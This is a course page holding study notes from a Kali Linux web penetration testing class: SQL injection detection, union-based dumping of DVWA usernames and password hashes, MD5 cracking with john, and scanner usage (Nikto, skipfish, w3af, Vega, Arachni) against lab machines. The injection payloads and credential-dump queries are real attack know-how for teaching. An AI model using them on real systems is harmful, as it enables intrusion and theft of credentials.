6人加入学习
(0人评价)
安全测试Web安全

购买过Kali Linux渗透测试、武官课程包、安全技术会员课程的学员不要再买此课程

价格 ¥ 300.00
该课程属于 南华大学信息安全专业 请加入后再学习

SQL注入密码破解
进行密码破解md5值  hash破解
hash
hash-identifier
填写可疑的hash值
hash分为2中md5  域 ( 因为基于debian  与  域无关)

方式破解
admin:sd4545s4ad4ad55dsad4213da09
爆出来txt
进行格式整理
john --format=raw-MD5 dvwa.txt
后期会有新方法
在.john/文件夹里  会有破解日志与内容 如果有 那么就不会再来破解 只破解密码
john --format=raw-MD5 dvwa.txt --show  如果有破解直接显示  没有去破解

[展开全文]

SQL注入复杂语句查询
1 'select 1,2--空格  通过替换1,2 为user()  vision()(版本) database()(数据库)  来在位置爆出2个信息
2 全局函数 @@datadir  参看当前数据库所在位置   F9调出hackbug 在里面进行注入 split URL分行(空格变为+)
  @@hostname 机器主机名  @@VERSION 看版本  @@version_cmpile_os 操作系统版本
3 CHAR(77)=>M  如果被过滤用ASCCI码进行
4 之前只能在一个支段查询一个信息  用CONCAT_WS(CHAR(32,58,32),user(),database()),md5('b'),null(没有就用null)  进行user等查询  以CHAR的字符隔开 (连接作用 先写分隔符)
5 union select null,substring_index(USER(),"@",1)--  进行切割 显示前面的

Mysql的数据结构
存在一张表里
从information_schema 里练习  都在这里面
1 查看所有的库 所有的表
' union select table_name,table_schenma from information_schema.tables--  在information_schema库(原数据库)的table表里查询table_name等2个表
'UNION select table_schema,count(*) FROM information_Schenma.tables group by table_schema -- 
按计数查询  从原库的表里  按库归类  看table里面有多少个表

2 查看表名
' union select table_name,table_schenma from information_schema.tables where tanle_schema='dvwa'--  是否有dvwa表
看爆出来的数据有一个user表

3 查看字段名
' union select table_name,coluname_name from information_schema.columns where tanle_schema='dvwa'and table_name='users'-- 
在这个库dvwa这个表users进行查 都有那些列column_name  爆出来的内容就是 table_name,coluname_name  select的这两个 table_name='users'有个限制  当然也可以  table_name,table_schenma,coluname_name  select 这3个
观察可疑的列进行查询

4 查询列的内容
' union select user,password from dvwa.users
' union select user,password from users(会在当前数据库中自动添加数据库) 
' union select null,concat(user,0x3a,password))from users-- (concat连接作用 只是连接符在中间写) (null表示不再name位置爆出来东西了  所以仅仅是爆出的位置  位置在哪  在哪个字段显示  并不这个字段的东西 并不对应 页面上的值)
然后就是进行爆出来的密码破解了 下节讲述一个方法

[展开全文]

SQL注入原理和检测
lsb_release -a(查看版本号)
手动漏洞挖掘--SQL注入(SQL语句)
简单查询

服务器从web到web applicaton后可以接受用户输入的内容
对数据库的操作
输入的内容  被 web applicaton进行操作后 传到数据库  然后查询后原路返回  数据库对查询内容的正误返回结果
SELECT * FROM users WHERE user='uname' AND passworrd='pass'
SELECT * FROM users WHERE user='uname' AND passworrd=''OR''=''   'OR''='  与‘’的闭合  构成查询语句
1 基于报错的符号
通过与代码的双引号的闭合 单引号  如果里面有没有闭合的就报错  进行SQL语句凭借
双引号 百分号 () 
2 基于bool的检测
你的语句一定要交到后台数据库查询 那么怎么从web applicaton过去是关键  要在‘’之内   把输入的进行拼接
select fist from user where id = ''  输入1  与 输入 1'and'1'='1或2  一样  通过闭合  1' and '1或0
确定有sql注入漏洞
3 表列数/显示信息位于哪一列
'(这个为了闭合)order by 50--空格(id=''order by 50-- '注释后面的内容)(排序的 对指定或*字段数进行查询)   注意闭合  换列数进行查询 知道没有错误
知道字段
单独select (因为前面有select了)  有点问题  一般用union联合查询
select * 时表字段数=查询字段数
4 联合查询 
'(闭合)union select 1,2(确定1,2字段出现在页面哪里)--空格

 

[展开全文]

扫描器 Arachni
kali自带的为旧版  不全
安装
http://www.arachni-scanner.com/download/#Linux
tar xvf arachni.tar.gz

ls
gedit README
参看扫描器密码帐号 操作都是在bin目录下完成的

用命令行 
./arachni_console
./arachni_web
看显示  就可以用web启动了
一般是htttp://localhost:9292/
登录帐号  看README

[展开全文]


其它特性的安装和安装答疑
安装出错  因为python的协助包的问题
apt-get install python-dev python-greenlet python-gevent python-vte python-openssl python-crypto python-appindicator python-pip libnss3-tools
pip install pyOpenSSL
pip install gevent dnslib --upgrade
apt-get install kali-linux-all 安装的工具包kali

[展开全文]

截断代理  另外一个功能
工具栏最右面
option  配置  

截断代理
可以编辑 右下 可以重新发送
目录的发现 第二个 做 Fuzzer  看一下是否存在子目录 可以用正则进行  在Syntax help里面  用字典也可以
比较  在服务器响应时用  点击抓的包 点击比较
通过返回的来判断端倪
也可以手动 自动化的扫描工具一定会漏的 manual requests  了解漏洞原理(后续会讲)
不支持javascript  flash java applet
(上面是手动)

那么用截断代理手动爬网
这是在插件中的
crawl里面 splider_man 指定代理端口   访问服务器网站 就可以爬站  结合web_spider 更全
爬网完后 把代理结束点 spider_man  通过浏览器访问url才可以

爬网时  可以用output  export_requests  ~/output.b64 保存 扫描  保存到这里
可以回来用inmport_results 使用该文件

其它特性  利用漏洞(如果直接拿shell的漏洞可以利用)
exploit
扫出来后  进行利用  可以用齿轮  逐个利用模块
拖住放在上面  然后生成shell  双击 
命令提示符  help一下
取决当前shell的帐号的权限 read
dbs  看数据库  等命令
lsp可以看payload 使用每一个payload来查看目标服务器的信息  一般是 payload users/等等
成功与否看当前shell的权限

[展开全文]

w3af  HTTP header file  另类的身份认证的形式
开发人员自定义的
w3af支持我们自定义  设置头  读取头文件
HTTP的Genery
用自定义的头作为扫面基础

截断代理  另外一个功能
工具栏最右面
option  配置 

[展开全文]

Form与Cookie身份验证
DVWA是基于表单认证的
用w3af的扫描
detail详细的提交信息  user password 以及它们的fied (表单的name属性) url(auth登录页面的   check确认地址 启动firebug(浏览器插件)网络就可以抓包 看成功访问的页面url (http最好用firebug  wireshark强大但http显示不是很好)) string(这个不帐号登录后的显著特有的字符) format(源代码部分 uername=“”&password=“”&Login=login(抓包看到的))method(post get)等
crawl的web_spider  里面勾选第一个   only_forward  只想扫dvwa  target写http://192.1683.56.103/dvwa/ 然后勾选这个选项
follow是扫的.代表该目录  *全部的
ignore忽略的  不扫描的
通过成功身份认证进行扫描漏洞 注入 等等

cookie认证  双身份验证
格式严格
通过浏览器插件 导出cookie   gedit打开
需要一个头模版
#Netscape HTTP Cookie File
.domian。com TRUE / FALSE 1731510001 user admin   按tab跳空格
多了一个时间  要求
第一个域名/ip   标记位  在这个域里面是fou所有机器够可以访问 路径 安全相关  是否需要安全连接  时间值 是否过期从1970.1.1.0:0:0算起  如果小于当前就过期  名称与值
选择模块进行扫描
找到一种web applicaton 可以用的身份验证

[展开全文]

扫描需要身份认证的网站 HTTP  NTLM
http basic   
NTLM
Form
Cookie
身份认证的方式

把2003做成web Server 
安装iis
appwiz.cpl
添加删除
应用程序服务器
选择iis
然后就有网站了
为了了解认证扫描
管理工具 iis
然后默认网站 属性 目录安全  身份认证访问控制
取消匿名访问
换成基本身份认证
重启后  就ok了
帐号密码是  windows本地的帐号  netuser
net user administrater *
设置密码

在kali里进行抓包
用wireshark进行  ip.addr ==1 92.168.56.103
只抓这一个ip
找登录返回包  右键  followTCPStream
w3af也有解码  编码功能  对提交的基本身份认证解码(base64)
也可以用  echo -n "" | base64 也可以

用w3af  对基本身份认证的扫描  配置http setting
基本 
user  密码 用什么访问  域名/ip
配置插件

widows认证  基于随机数  不用明文(基本身份认证)
NTLM身份认证  用w3af  身份认证信息
用audit  blind_sqli
crawl web_spider
infrastructure插件

[展开全文]

w3af 
w3af_console
plugins>>>list audit
查看 audit大类的插件  里面使用的东西
确定扫描什么的类型漏洞  比如xss的
audit xss
那么status为enable   一会扫描只扫描xss
audit all  全部的
crawl外部爬网 crawl web_apider  之用这个就可以
back回到上级目录
下一个profiles 保存自己的配置 按目标来
profiles>>help
看默认的profiles
150中的plugins选择几种
save_as 名字 保存设置
use 名字
在插件中用

back
下一个全局配置
http-setting  》help是查看选项
view set 等
支持proxy
set rand_user_agent True  进行修改
save保存
misc-setting

图形化
在configuration里面


target  扫描的目标
set target http://192.168.56.101
view
看扫描的要求
save as 目标 self-contained  可以导入   独立的

如果配置是乱的   关掉 重开就ok了

经常对同一个目标扫描  保存脚本
默认的脚本
sripts里面
把命令集中在一块保存就ok
w3af_console -s 指定脚本   进行扫描然后结束

[展开全文]

w3af安装升级及创建快捷方式(kali2.0自带的w3af一扫描就挂死)
查看关闭进程
ps aux | grep w3af
root      1653  0.7  2.5 747916 51928 tty2     S+   00:33   0:01 /usr/bin/python /usr/share/w3af/w3af_gui
root      5392  0.0  0.0  12928   936 pts/0    S+   00:35   0:00 grep w3af
kill -9 1653 5392


cd~
apt-get update
apt-get install -y python-pip w3af      pip进行后续安装
pip install --upgrade pip     
git clone http://github.com/andresriancho/w3af.git   下载源代码
cd w3af
./w3af_console(./w3af_gui)

our python installation needs the following modules to run w3af:
    pyclamd github git.util pybloomfilter phply nltk chardet tblib concurrent.futures OpenSSL ndg lxml scapy.config guess_language cluster msgpack ntlm jinja2 markdown psutil mitmproxy ruamel.ordereddict Flask tldextract


After installing any missing operating system packages, use pip to install the remaining modules:
    sudo pip install pyClamd==0.3.15 PyGithub==1.21.0 GitPython==0.3.2.RC1 pybloomfiltermmap==0.3.14 phply==0.9.1 nltk==3.0.1 chardet==2.1.1 tblib==0.2.0 futures==2.1.5 pyOpenSSL==0.15.1 ndg-httpsclient==0.3.3 lxml==3.4.4 scapy-real==2.2.0-dev guess-language==0.2 cluster==1.1.1b3 msgpack-python==0.4.4 python-ntlm==1.0.1 Jinja2==2.7.3 markdown==2.6.1 psutil==2.2.1 mitmproxy==0.13 ruamel.ordereddict==0.4.8 Flask==0.10.1 tldextract==1.7.2

A script with these commands has been created for you at /tmp/w3af_dependency_install.sh

cd /tmp/
cat w3af_dependency_install.sh 
#!/bin/bash

sudo pip install pyClamd==0.3.15 PyGithub==1.21.0 GitPython==0.3.2.RC1 pybloomfiltermmap==0.3.14 phply==0.9.1 nltk==3.0.1 chardet==2.1.1 tblib==0.2.0 futures==2.1.5 pyOpenSSL==0.15.1 ndg-httpsclient==0.3.3 lxml==3.4.4 scapy-real==2.2.0-dev guess-language==0.2 cluster==1.1.1b3 msgpack-python==0.4.4 python-ntlm==1.0.1 Jinja2==2.7.3 markdown==2.6.1 psutil==2.2.1 mitmproxy==0.13 ruamel.ordereddict==0.4.8 Flask==0.10.1 tldextract==1.7.2

apt-get build-dep python-lxml

./temp/w3af_dependency_install.sh

./w3af_gui  图形化

cat /tmp/w3af_dependency_install.sh

#!/bin/bash
sudo pip install xdot==0.6

pip install xdot==0.6 直接执行命令安装 

必须进入root/w3af/下  才可以运行安装的w3af   ./w3af_console // ./w3af_gui(一般图形化用图标  创建快捷方式)

升级  ait pull

创建快捷方式  copy到桌面
cp /uer/share/applications/w3af.desktop /root/桌面/
然后 改文件内容  
Exec=sh -c "/root/w3af/w3af_gui/"

chmod +x w3af.desktop 给予权限

一个是命令行 一个是图形化 

[展开全文]


重量级web安全扫描工具
w3af简介
web applicaton attrack and audit framework 基于python 框架 
框架目标帮助你发现和利用所有web应用程序漏洞
有了利用漏洞  可以拿到shell
9大类近150个plugin(插件)
audit 审计  主要的  扫描发现漏洞 
infrastructure 基础架构  扫描目标服务器服务系统 web 使用语言等
grep  被动扫描 根据audit发包收集的流量进行收集  请求返回的流量判断是否有webshell等
evasion  逃避检测 成功进行漏洞发现利用
mangle   正则 替换字符串 
auth    身份认证
bruteforce  暴力破解 Fuzz隐藏的路径与文件名
uotput  导出其它格式 由其它类型插件来利用
crawl  爬网 通过页面超链接进行等
attrack 第10大类 攻击模块 攻击形式固定好 不能进行修改

 

[展开全文]

 

skipfish(命令行 不会提供代理(与vega相比))13年就不更新了
C语言编写 谷歌
实验的主动的web安全评估工具
递归爬网
基于字典的探测
速度较快
多路单线程 全异步网络I/O 消除管理和调度开销
启发式自动内容识别
误报较低
(google开发的强大)

使用
-o指定目录
test是个路径目录  rm -rf 目录 删除目录

skipfish -o test http://1.1.1.1

Welcome to skipfish. Here are some useful tips:

1) To abort the scan at any time, press Ctrl-C. A partial report will be written
   to the specified location. To view a list of currently scanned URLs, you can
   press space at any time during the scan.

2) Watch the number requests per second shown on the main screen. If this figure
   drops below 100-200, the scan will likely take a very long time.

3) The scanner does not auto-limit the scope of the scan; on complex sites, you
   may need to specify locations to exclude, or limit brute-force steps.

4) There are several new releases of the scanner every month. If you run into
   trouble, check for a newer version first, let the author know next.
扫描时
      Scan time : 0:00:57.9628/s), 39274 kB in, 5299 kB out (774.3 kB/s)  
      Scan time : 0:00:57.9964/s), 39561 kB in, 5303 kB out (774.0 kB/s)  
  HTTP requests : 12887 (228.2/s), 39606 kB in, 5303 kB out (774.4 kB/s)  
    Compression : 0 kB in, 0 kB out (0.0% gain)    etried, 0 drops
    HTTP faults : 0 net errors, 0 proto errors, 0 retried, 0 drops
 TCP handshakes : 141 total (110.4 req/conn)  rgeds, 16 dict    61 par, 0 val
     TCP faults : 0 failures, 0 timeouts, 1 purgeds, 17 dict    61 par, 0 val
 External links : 11286 skipped done (4.17%)    cks, 17 dict    61 par, 0 val
   Reqs pending : 2675        2 done (4.17%)    cks, 17 dict    61 par, 0 val
Database statistics:7 total, 22 done (4.17%)    cks, 17 dict    61 par, 0 val
Database statistics:7 total, 22 done (4.17%)    cks, 17 dict    61 par, 0 val
         Pivots : 527 total, 22 done (4.17%)    cks, 17 dict    61 par, 0 val
         Pivots : 527 total, 22 done (4.17%)    cks, 17 dict    61 par, 0 val
    In progress : 342 pending, 121 init, 25 attacks, 17 dict    61 par, 0 val
  Missing nodes : 14 spotted7 dir, 18 file, 6 pinfo, 234 unkn, 161 par, 0 val
     Node types : 2 serv, 107 dir, 18 file, 6 pinfo, 234 unkn, 161 par, 0 val
   Issues found : 97 info, 1 warn, 14 low, 22 medium, 0 high impacts
      Dict size : 367 words (367 new), 16 extensions, 256 candidates
     Signatures : 77 total

空格可以切换模式(详细模式)   最后以网页形式存放

Report saved to 'test1/index.html' [0xdc525aad].
可以找到后进行查看
file:///root/test1/index.html 

但这扫到不是dvwa  那么需要参数了 
skipfish -o test1 -I /dvwa/ http://192.168.56.101/dvwa/
-I /dvwa/
只扫描包含dvwa这个字符串的文件

扫描多个url
vi url.txt
http://1.1.1.1
http://1.1.1.2
skipfish -o test @url.txt

具体扫的什么
通过url的爬网 爬出来的 如果隐藏的目录 则没用 那么需要字典 -S指定
dpkg -L skipfish  查看skipfish 集成 的 字典 
dpkg -L skipfish | grep wl  以wl结尾  
缩小目标 进行用字典扫描 
skipfish -o test2 -I /dvwa/ -S /usr/share/skipfish/dictionaries/minimal.wl  http://192.168.56.101/dvwa/
还可以-W a.wl 
对其进行Fuzz测试了
a.wl  空文件   在爬网时  爬到其它的字符串放在a.wl 中
skipfish -o test -S complet.wl -W a.wl http://1.1.1.1  #字典
-I   只检查包含‘string’的url  限制扫描的范围

-X   不检查包含‘string’的url   
指定#loguout  退出的url  

-K   不对指定的参数进行Fuzz测试
认为安全的  不对其Fuzz

-D   跨站点爬另外一个域
有时候需要扫描2个域名  增加域名 用-D  指定的域名  域名 
(都是在命令行一个个往上加)

-l(小爱偶)   每秒最大请求数
设置扫描速度  每秒种的并发的请求个数  (最大)
针对网站的大小进行 

-m   每ip最大并发连接数
并发的请求数

-config   指定配置文件
在配置文件中进行  每次都会这样

身份认证  (不会与vega一样先抓下来)
skipfish -o test2 -C “cookie值=值”-C “cookie值=值”-X logout.php -I /dvwa/ -S /usr/share/skipfish/dictionaries/minimal.wl  http://192.168.56.101/dvwa/

更强大的身份验证功能
Usename/Password
man skipfish
查一下身份认证的使用
--auth-form <URL>
              The login form to use with form authentication. By default skip‐
              fish will use the form's action URL to submit  the  credentials.
              If  this is missing than the login data is send to the form URL.
              In case that is wrong, you can set the  form  handler  URL  with
              --auth-form-target <URL> .

       --auth-user <username>
              The  username  to  be  used during form authentication. Skipfish
              will try to detect the correct form field to use but if it fails
              to  do  so  (and  gives an error), then you can specify the form
              field name with --auth-user-field.

       --auth-pass <password>
              The password to be used during form authentication.  Similar  to
              auth-user,  the  form  field  name  can (optionally) be set with
              --auth-pass-field.
       --auth-verify-url <URL>
              This URL allows skipfish to verify  whether  authentication  was
              successful.  This  requires  a URL where anonymous and authenti‐
              cated requests are answered with a different response.


提交表单url地址 用户名   密码  怎样确认是否登录成功(登录成功的页面)
自动添加用户名密码(自动判断) 定位到用户名的代码段 Usename 需要一个标识--auth-user-field  密码需要 --auth-pass-field
提交表单的目标 通过表单的action来确定  需要补全  用标识--auth-form-target

在一种方式 不成功可以 使用另一种方式 
扫面速度不要 太快  用-l  或 -m来限制

[展开全文]

https的注意的点
通过加密证书来传递  对称 非对称(私钥来解密拱腰) hash算法加密  
服务器需要解密对撑会话腰   用服务器拱腰加密 需要私密解密 
访问网站 有时候 出错 原因 证书 
具体: CA机构颁发  默认是浏览器信任了 安装他的根证书 有了他的拱腰 访问时 通过解密拿到hash值 来比较 是否是CA颁发的 
完成会话密钥交换 然后通信 机密性没有损失 只是会被劫持  (自签名证书 别人伪造的)  不一定是真的 
作为中间代理  也有自签名的证书   
证书颁发是给域名 不是ip地址的
比如
dig www.baidu.com

www.baidu.com.        476    IN    CNAME    www.a.shifen.com.
www.a.shifen.com.    167    IN    A    14.215.177.37
www.a.shifen.com.    167    IN    A    14.215.177.38
https://www.baidu.com/ 与 https://14.215.177.37
域名与ip
使用vega代理 依然出错  浏览器不信任vega的自签名证书
百度 verisign 颁发
preferences ->advanced-> certificate 
添加信任证书 开代理 访问该证书网站然后 信任
证书加密 可以查考http://www.2cto.com/article/201208/145328.html   http://blog.csdn.net/clh604/article/details/22179907

[展开全文]

vega(图形化的web扫描器)
reset workplace 重置 
针对web Server   关注web applicaton 代码 上的漏洞

先使用代理模块 进行代理爬站  然后扫描 

代理配置 preferences  在vega里面使用外部提供的代理服务器    Tor的socks代理 Goagent的代理
vega也有自己的代理  可以设置http的头 把自己伪装成一个浏览器 User-Agent 里面删除vega

启动代理监听 关闭 对来此端口的流量进行注入等  来显示流量 相当于代理显示 弄一个url集合来扫描

在浏览器中进行代理 
手动爬站 产生流量 然后代理vega就可以看到(可以储存下来) 就是 把页面能点(提交)的都点一遍
爬站ok 然后扫描
建立一个scope 把loguot除去  不扫描 不然会退出  
创建identity web Server前3中  web applicaton用第四种 macro 
建立一个新的扫描
在request中可以提供漏洞的思路
可以扫描出 不同危险程度的 漏洞

在扫描的时候  会扫描出 这个页面镶嵌的其它url  页面  链接  
点击filter by scope 隐藏其它的链接

proxy 可以重放请求 send request 再次提交  然后 会有服务器的返回
cookie改变 会使 身份改变 从而提交 服务器不会正常返回 
 why    GET /dvwa/phpinfo.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1 然而这一个cookie改变 返回正常
截断功能
可以配置规则  点击后可以截断
请求的
在请求里面加东西 传给服务器
响应的
返回的 东西  再次截断 给服务器
故 可以修改 数据(修改访问/返回请求的数据) 后发送   但有所欠缺

https的注意的点

[展开全文]

扫描工具
Nikto
Vega
Skipfish
W3af
Arachni
Owasp-zap

Nikto
perl语言开发的开源web安全扫描器
软件版本
搜索存在安全隐患的文件
服务器配置漏洞
WEB Application层面的安全隐患
避免404误判
很多服务器不遵守RFC标准 对于不存在的对象返回200响应码
依据响应文件内容判断 不同扩展名的文件404响应内容不同
去除时间信息后的内容取MD5值
-no404

nikto -host http://192.168.56.102 -port 80
Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.102
+ Target Hostname:    192.168.56.102
+ Target Port:        80
+ Start Time:         2017-04-13 23:38:33 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ The anti-clickjacking X-Frame-Options header is not present.
.............

nmap -p80 192.168.56.102/104 -oG - | nikto -host -
用nmap找开放80端口的ip  oG 输出到 -  然后管道 给 nikto 来扫描 这个 - 
+ nmap Input Queued: 192.168.56.102:80
+ Target IP:          192.168.56.102
+ Target Hostname:    192.168.56.102
+ Target Port:        80
+ Start Time:         2017-04-13 23:43:10 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ The anti-clickjacking X-Frame-Options header is not present.
...............

nikto -host http://192.168.56.102 -useproxy http://localhost:8087
找代理

vi /etc/nikto.conf
改配置  有隐藏工具 长ie来查询  有Cookie(HTTP)的值与密码   有代理等等

[展开全文]

实验环境
Metasploitable 重启网络的命令 dhclient eth0
Dvwa
侦查
Httrack
减少与目标系统交互
可以使用代理
下载页面

[展开全文]

Cycle
请求/响应
重要的header
Set-Cookie : 服务器给客户端的Session ID (被窃取的风险)
Content-Length : 响应body部分的字节长度  通过返回的页面字节大小看访问是否成功  大是否成功
Location : 重定向到另一个页面 可是别身份认证过后允许的网页
请求返回时
Cookie :  客户端发回给服务器证明用户状态的信息(头=值成对出现)
Referrer : 发起新请求之前用户位于那一个页面,服务器基于此头的安全限制很容易被修改绕过
Host: 通过这个来确定下一个页面

HTTP(响应码) 状态码
表示响应的结果类型(5大类50多个具体响应码)
100s 服务器响应的信息,通常表示服务器还有后续处理 很少出现
200s 请求被服务器成功接受并处理后返回的响应结果
300s 重定向 身份认证成功后重定向到一个安全页面
400s 客户端请求错误
401 需要身份验证
403 拒绝访问
404 目标未发现
500s 服务器内部错误(203 服务器不可用)
具体查询
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[展开全文]

HTTP协议
明文
无内建的机密性安全机制
嗅探或代理截断可查看全部明文信息
https只能提高传输层安全
无状态

每一次客户端和服务器段的通信都是独立的过程
WEB应用需要跟踪客户端会话
不使用cookie的一个应用,客户端每次请求都要重新身份验证
Session用于在用户身份验证后跟踪用户行为轨迹
提高用户体验,但增加了攻击向量

通过cookie来实现跟踪  确定这个会话的所有权
类似门卡 通行证   

cookie 基本上等同 Session ID    cookie储存Session ID 
Session 在服务器端 

改Session ID 可以欺骗攻击

[展开全文]

WEB渗透
静态web
动态web
应用程序
数据库
没人看到内容不同
根据用户输入返回不同结果
Web攻击类型有数百种

WEB攻击面
Network 网络连接方面
OS 操作系统
WEB Sever 服务器端
APP sever  应用服务器(给web sever提供接口,链接数据库)
Web application 业务逻辑代码(攻击较多)
Database 方面  SQL注入(攻击较多)
Browser 跨站脚本攻击 跨站请求伪造

[展开全文]

授课教师

安全经理

课程特色

视频(99)
下载资料(1)

最新学员